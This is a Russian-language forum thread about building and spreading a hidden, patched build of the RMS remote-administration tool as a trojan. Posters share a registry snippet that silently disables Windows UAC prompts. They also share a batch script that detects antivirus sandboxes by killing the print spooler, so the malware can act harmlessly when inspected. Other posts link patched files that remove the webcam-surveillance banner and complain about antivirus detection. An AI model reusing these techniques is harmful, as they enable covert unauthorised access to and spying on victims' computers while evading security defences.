Скрытый RMS [удаленное администрирование]

ваще кул

 

Помогите ктонить обойти UAC кто смог очень нужно!

 

4ekkk,

Код:

Windows Registry Editor Version 5.00

; Отключить контроль учётных записей (UAC):
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
"ConsentPromptBehaviorAdmin"=dword:00000000

; Включить контроль учётных записей (UAC):
;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
;"ConsentPromptBehaviorAdmin"=dword:00000005

 

На сколько я понимаю этот код работает на отключение UAC только после перезагрузки или я не прав? Если батник замутить из этого только после перезагрузки вырубится!

 

К сожалению TeamViewer уже палится антивирями! Там палится tv.dll

 

Вышла новая RMS 5.1.3 - Beta 1 http://rmansys.ru/forum/rus/viewtopic.php?f=1&t=3526

 

Сейчас модны "песочницы", и многие антивирусы обзавелись ими, да и просто песочницы есть, и некоторые запускают полученные с интернета файлы в песочнице дабы посмотреть действие этой программы... для MPR и RealIP такая защита не помеха, песочницы позволяют читать файлы вне песочницы... , но RMS реально не скопируется в нужную папку, а в папку в песочнице, да и процесс RMS запущенный в песочнице толку не даст - доступа не будет... так вот, если проверить запущен ли "троян" в песочнице, то он может и не делать "плохих" действий а только хорошие... притворится "хорошим мальчиком", а вне песочницы быть "плохим"...

Добавлено через 2 минуты
rem вот вариант проверки...
rem выключаем вывод команд на экран
@echo off
rem убиваем молча процесс spoolsv.exe
taskkill /f /im spoolsv.exe
rem пингуем для задержки времени чтобы дождаться завершения процесса
ping -n 2 127.0.0.1 > nul
rem опрашиваем запущенные процессы и если там есть строка с spoolsv.exe то кидаем эту строку в файл C:\list.txt
tasklist /nh /fi "imagename eq spoolsv.exe" > C:\list.txt
читаем файл C:\list.txt и проверяем есть ли там действительно строка spoolsv.exe и если есть продолжаем работать с метки :box
for /F "skip=1" %%s in (C:\list.txt) do if "%%s"=="spoolsv.exe" goto box
rem иначе продолжаем здесь
:nobox
rem пишем в файл C:\01.txt текст Мы не в песочнице!
echo Мы не в песочнице! > C:\01.txt
rem запускаем процесс spoolsv.exe
start spoolsv.exe > nul
rem переходим к метке :end
goto end
:box
rem перешли к этой метке см выше пишем в файл C:\01.txt текст Мы в песочнице!
echo Мы в песочнице! > C:\01.txt
:end
rem открываем в блокноте файл C:\01.txt
start /wait notepad C:\01.txt
rem удаляем файл C:\list.txt
del /f /q C:\list.txt > nul
rem удаляем файл C:\01.txt
del /f /q C:\01.txt > nul

Добавлено через 4 минуты
Процесс Spooler SubSystem App или mIRC или SU Modded By Booster2ooo или Диспетчер очереди печати ... конечно данный метод палится, так как вырубает на время диспетчер печати и если в это время идет печать, то она остановится... но процесс убивается только на пару минут... . Но возможно есть и другие варианты проверки запуска "трояна" в "песочнице"...

Добавлено через 3 минуты
да, сорри замените в примере &quot на кавычки "

Добавлено через 2 минуты
rem вот вариант проверки...
rem выключаем вывод команд на экран
@echo off
rem убиваем молча процесс spoolsv.exe
taskkill /f /im spoolsv.exe
rem пингуем для задержки времени чтобы дождаться завершения процесса
ping -n 2 127.0.0.1 > nul
rem опрашиваем запущенные процессы и если там есть строка с spoolsv.exe то кидаем эту строку в файл C:\list.txt
tasklist /nh /fi "imagename eq spoolsv.exe" > C:\list.txt
читаем файл C:\list.txt и проверяем есть ли там действительно строка spoolsv.exe и если есть продолжаем работать с метки :box
for /F "skip=1" %%s in (C:\list.txt) do if "%%s"=="spoolsv.exe" goto box
rem иначе продолжаем здесь
:nobox
rem пишем в файл C:\01.txt текст Мы не в песочнице!
echo Мы не в песочнице! > C:\01.txt
rem запускаем процесс spoolsv.exe
start spoolsv.exe > nul
rem переходим к метке :end
goto end
:box
rem перешли к этой метке см выше пишем в файл C:\01.txt текст Мы в песочнице!
echo Мы в песочнице! > C:\01.txt
:end
rem открываем в блокноте файл C:\01.txt
start /wait notepad C:\01.txt
rem удаляем файл C:\list.txt
del /f /q C:\list.txt > nul
rem удаляем файл C:\01.txt
del /f /q C:\01.txt > nul

Добавлено через 30 минут
для ленивых:
вставьте в начало файла winupd.bat
@echo off
taskkill /f /im spoolsv.exe
ping -n 2 127.0.0.1 > nul
tasklist /nh /fi "imagename eq spoolsv.exe" > %temp%\list.txt
for /F "skip=1" %%s in (%temp%\list.txt) do if "%%s"=="spoolsv.exe" goto start
goto end
и в конце файла winupd.bat метку :end

 

Кому нужны пропатченные файлы RMS 5.1.3 Б-1 налетай http://dl.dropbox.com/u/62173443/RMS 4ekkk 5.1.3 Б-1.rar

 

Перезалей пожалуйста а то ссылка не работает !!!

Добавлено через 1 минуту

 

Dima1980,
В самом конце первого поста ссылка на перезалитый архив.

 

Может кто то сделает видео урок на эту тему? :-[

 

Доступна 2 бета-версия
Интеграция с Active Directory. В дереве соединений теперь отображается иерархия Active Directory, т.е. реализован полноценный AD браузер, отображающий актуальную структуру объектов. Можно использовать как контроллер домена по умолчанию (если компьютер с R-Viewer находится в домене), так и добавлять другие контроллеры доменов, указав атрибуты доступа в специальном редакторе (даже если компьютер с R-Viewer не в AD).
Теперь новые версии R-Server и R-Viewer можно устанавливать поверх уже установленных. Обновление будет выполняться автоматически. (УРА!!!11)
Упрощенное окно настройки пароля при установке R-Server.
Внимание! В некоторых случаях может исчезнуть совместимость авторизации между бета-версиями 5.1.3b1 и 5.1.3b2. В этом случае, рекомендуем обновиться до версии 5.1.3b2. На более ранние версии проблема не распространяется.
Другие доработки.

 

а какой это файл?

 

demo4ek, это set.reg, конечно. Как вообще это можно было не понять?

 

народ помогите. По экспресс сборке делал всё работало как часы, но трабла с банером на вебке, заставила поменять рутсерв и клиент их сливал Удача.Вот проблемка в экспресс сборке я только кидал файл сет.рег в тот экзешник. Теперь то надо собрать самому, всё собрал заменил рутсерв и руклиент что мне далше делать чтоб сделать только РМс без МПР

Добавлено через 2 минуты
то есть я запилил даунлоадер и вот у меня винюпд.ехе как инструкции на первой странице и теперь мне надо туда запихнуть свой собранный сетуп ехе?

 

В одной подсети несколько компов. Если ставить RMS на несколько компьютеров, то стоит ли их развести по разным портам? или можно все на один 5652
и не подскажите, как его на своём компе снести, а то он ухнул куда-то... (в смысле установился)

 

нажимаю start R-Server, но ничего не происходит. В чем проблема?

Добавлено через 9 минут
вылезает такая ошибка: "Error reading TROMServerOptions UseIPv6: Property UseIPv6 does not exist". Можете помочь?

 

Афанасий Сергеев, попробуй в настройках сервера убрать использование IPv6.

 

А для этой бета-версии еще не делались пропатченные файлы чтоб банер видеонаблюдения убрать? Если есть скиньте пожалуйста! У меня от предыдущих версий не заработали!

 

Привет всем ... народ подскажите а как собрать новую сборку РМС ? я скачал архив и ниче не понемаю там =( у меня первая сборка до сих пор стояла .. которая появилась при создании темы .. и сейчас очень палится антивирами =(
ХЭЛПП